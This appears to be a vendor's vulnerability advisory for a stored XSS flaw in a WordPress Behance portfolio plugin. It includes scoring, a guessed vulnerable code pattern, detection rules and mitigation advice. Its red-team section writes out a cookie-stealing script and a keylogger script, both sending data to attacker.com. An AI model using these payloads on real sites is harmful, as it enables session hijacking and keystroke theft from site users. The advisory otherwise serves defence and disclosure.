CVE-2025-57913
Executive Summary
CVE-2025-57913 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Behance Portfolio Manager" (portfolio-manager-powered-by-behance) by Eleopard. The vulnerability affects all versions up to and including 1.7.5. An attacker can inject malicious scripts into web pages generated by the plugin, which are then stored and executed in the browsers of other users. This can lead to session hijacking, data theft, or defacement. The CVSS score is 6.5 (Medium), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin, which is part of the WordPress ecosystem. Users should verify the integrity of the plugin files and monitor for updates from the vendor. No official patch has been released, so manual mitigation is required.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit a page with the stored payload)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires user interaction but can lead to persistent compromise of user sessions and data.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The Behance Portfolio Manager plugin likely accepts user input (e.g., portfolio item titles, descriptions, or custom fields) and renders it without proper sanitization or output encoding. An attacker can submit a crafted payload containing JavaScript code, which is stored in the WordPress database. When an administrator or other user views the affected page, the script executes in their browser context.
Attack Flow:
- Attacker identifies a vulnerable input field (e.g., portfolio item title).
- Attacker submits a payload like
<script>alert('XSS')</script>. - The plugin stores the payload without sanitization.
- When a victim visits the portfolio page, the script executes.
- The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern. The plugin likely uses echo or print to output user input without escaping.
Vulnerable Code (PHP):
<?php
echo "<h2>" . $portfolio_title . "</h2>";
?>
Patched Code (Hypothetical):
<?php
echo "<h2>" . esc_html( $portfolio_title ) . "</h2>";
?>
The patched version uses WordPress's esc_html() function to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress installation with Behance Portfolio Manager <= 1.7.5.
- User role with ability to add/edit portfolio items (e.g., Author or higher).
Steps:
- Log in to WordPress as an Author.
- Navigate to the Behance Portfolio Manager settings or add a new portfolio item.
- In a vulnerable field (e.g., "Portfolio Title"), inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the item.
- Wait for an administrator to view the portfolio page. The script will execute and send the admin's cookies to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/log.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Detection & Mitigation)
Detection:
- Monitor for unusual input patterns in portfolio fields (e.g.,
<script>,onerror=,javascript:). - Use Web Application Firewall (WAF) rules to block XSS payloads.
- Review server logs for requests containing encoded JavaScript.
Mitigation:
- Disable the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing cookies or keystrokes.
- File: Modified plugin files (e.g.,
portfolio-manager-powered-by-behance/*.php) with injected code. - Database: Stored XSS payloads in
wp_postmetaor custom tables. - Logs: Repeated requests to portfolio pages with
%3Cscript%3Eor similar URL-encoded patterns.
Detection Engineering
YARA Rule
rule CVE_2025_57913_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Behance Portfolio Manager plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57913"
strings:
$xss1 = "<script" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
$xss4 = "onload=" nocase
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in Behance Portfolio Manager
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects stored XSS attempts in Behance Portfolio Manager plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-content/plugins/portfolio-manager-powered-by-behance/'
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in portfolio descriptions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57913 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-content/plugins/portfolio-manager-powered-by-behance/"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Add Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self'. - Review and clean any existing stored XSS payloads in the database.
Long-term:
- Monitor the vendor's website for updates.
- Consider replacing the plugin with a more secure alternative.
- Enforce input validation and output encoding in all custom WordPress plugins.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.